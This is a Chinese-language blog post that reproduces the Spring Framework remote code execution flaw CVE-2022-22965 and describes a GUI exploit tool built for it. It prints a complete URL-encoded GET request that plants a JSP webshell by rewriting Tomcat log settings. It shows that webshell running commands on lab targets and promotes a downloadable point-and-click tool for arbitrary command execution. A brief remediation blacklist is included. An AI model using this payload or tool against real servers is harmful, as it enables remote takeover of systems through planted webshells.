文章目录
- 前言
- 一、漏洞描述
- 二、影响范围
- 三、漏洞复现
- 3.1 漏洞poc
- 四、修复建议
- 五、图形化工具开发-Rexbb简介与使用
- 5.1 工具使用
- 总结
前言
换了新工作,年底了比较多自学的时间,所以把今年比较经典的漏洞给复现一下,之前因为没空,只复现了log4j,把这个springboot的给忘了,所以就来补了。
后面为了方便省事,其实我就是太懒了,每次都不想用burpsuite发包去挖洞,太麻烦(其实就是我懒😅),所以干脆自己开发个GUI图形化漏洞利用工具,“解放双手”才是我最喜欢做的事情😁😁。
提示:以下是本篇文章正文内容,下面案例可供参考
一、漏洞描述
Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。
二、影响范围
若满足如下两个条件则确定受到漏洞影响:
(1)使用JDK>=9
(2)Spring开发或衍生框架开发(存在spring-bean*.jar)
spring-framework < v5.3.18
spring-framework < v5.2.20.RELEASE
三、漏洞复现
这个漏洞的本质利用Java 9中的模块里一些内部对象的属性注入,我们现在已知的PAYLOAD就是更改Tomcat将一些全局配置,就是修改保存在classLoader.resources.context这个context中日志的格式与文件名,就是下面的这些:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=testtest //写入的内容
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp //后缀名是jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT //路径是webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=myshell //文件名字是fuck
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= //可以为空
access_log属性:
directory: access_log文件输出目录
prefix: access_log文件名前缀
suffix: access_log文件名后缀
pattern: access_log文件内容格式
fileDateFormat:access_log文件名日期后缀,默认为.yyyy-MM-dd
所以,只需要修改.pattern的内容为命令执行的代码,就可以实现命令执行的功能,而java的命令执行代码用的是:
%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
在请求包里添加参数:
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
这样就是一个完整的payload了。
3.1 漏洞poc
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1
Get请求比较方便,所以直接列出get请求的payload,只需要更改cookei和host就可以完成复现。
这里我用vulfocus的靶场来测试:
发送payload。
然后访问我们写入的jsp马完整url:
http://ip:端口/tomcatwar.jsp?pwd=j&cmd=whoami
成功命令执行,ls /tmp成功获取flag。
四、修复建议
全局搜索@InitBinder注解,判断方法体内是否有dataBinder.setDisallowedFields方法,如果有使用则在原来的黑名单中添加:
{"class.*","Class.*","*.class.*","*.Class.*"}
五、图形化工具开发-Rexbb简介与使用
工具开发思路其实非常简单,就是用http发送请求,而java发送http请求的方法非常多样,有原生的HttpUrlconnetion,我大半年前学Java开发工具就是用的这个,但是它有个不好的地方就是比较复杂,因为要用到输入流和输出流,Buffreader、InputStream等等,所以要学的东西还是挺多的,后面了解到http请求除了原生的这个,还有okhttp,Hutools,HttpClient等等等等。大家可以自行选择自己喜欢的。上面列举的这些都是可以进行Get,Post,Put等常见的Http请求,但是各有优缺点。Java工具类的介绍我就先说这么多。其实开发工具我认为还是python还是比较简单易上手的,request库比Java的这些都要方便太多太多。
接下来就是怎么设计工具,再开发工具的时候要提前想好布局是什么样的,我所有开发的工具都是基于JavaFx,因为特别优美,界面很干净舒服。
上面是我开发工具前自己画的草图,当整体有了布局思路后,就可以按照这个样式自己写代码了。
我用的组件不是很多,都是很简单很常规的组件,Button按钮,Label标签,textField和textArea文本框。布局样式我用的是锚点布局AnchorPane,也可以叫他绝对布局。
可以自由设置每个组件的位置,麻烦是麻烦了点,但是可以很明确的指定位置,对我这种强迫症患者来说,简直就是福音!
下面就是开发完成后的工具样式了,很朴实无华,但是功能是完全够用的。
👉👉👉👉👉这里提一下,我使用java8开发的,也就是大家用的最多的jdk1.8,别的高版本java很多小伙伴说不兼容,在他的电脑上运行不了,所以我干脆用比较大众的jdk1.8了。
5.1 工具使用
这里还是以vulfocus靶场为例,给大家简单说说工具是怎么用的。
直接将url复制到第一个文本框里,然后点击发送payload,注意注意📢,url不要乱搞,我看好多新手啊,都是不听劝,我之前工具已经明确说了,url只需要复制到端口号后面就可以了,非不听,偏偏要把整段url后面带一大串参数的全给复制进去,然后私信我说工具不行,好吧,我承认是工具不行,没有对url做输入判断,后面我的TP漏扫工具Rexha就做了url输入判断,不符合规则的直接无法请求,但是这个cve-2022-22965的我就没做了,因为赶时间要下班。
当点击了发送payload之后,第二个文本框就会出现一个完整的带jsp马的url,为了防止小孩误食,我直接把文本框设置成了不可编辑,只能看和复制,不能修改。默认就是执行whoami测试。
接着点击RCE检测。
whoami的命令就执行成功了,成功回显root。
本来我打算做到这一步就不做了,因为可以直接复制发送后的url,到浏览器自己进行cmd参数的修改,就可以执行想执行的命令,后面想了一下,还是方便一点好,毕竟我是一个很“懒”的人,能用工具搞定就尽量用工具搞定,所以我加多了一个“命令执行”功能,可以在框框里输入想执行的命令,然后点击就行了。
上图成功回显了ls命令的结果,ls /tmp也是直接拿到了flag,很完美。
为了严谨性,我又找了其他的靶场做测试,vulhub的也来试一试。
也是完全没问题的,工具都可以用。
现在工具已经上传到我的Github了,大家可以下载来玩玩,后面有时间了我会持续优化。🎈🎈
我的Github地址是:
https://github.com/zangcc
总结
将漏洞手动验证和测试改成工具化之后,真的方便了很多,省去了很多繁琐的手动步骤,而且还是图形化的,不用python或者别的语言脚本那样记各种杂乱的参数,图形化的操作只需要用鼠标点点点就行,真的很效率,希望自己明年能开发更多好用的小工具,顺便把今年的工具都优化升级一下,做一个整合。争取早日实现自己的梦想。谢谢大家。
文章原创,欢迎转载,请注明文章出处: Spring RCE漏洞CVE-2022-22965复现与JavaFx GUI图形化漏洞利用工具开发.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。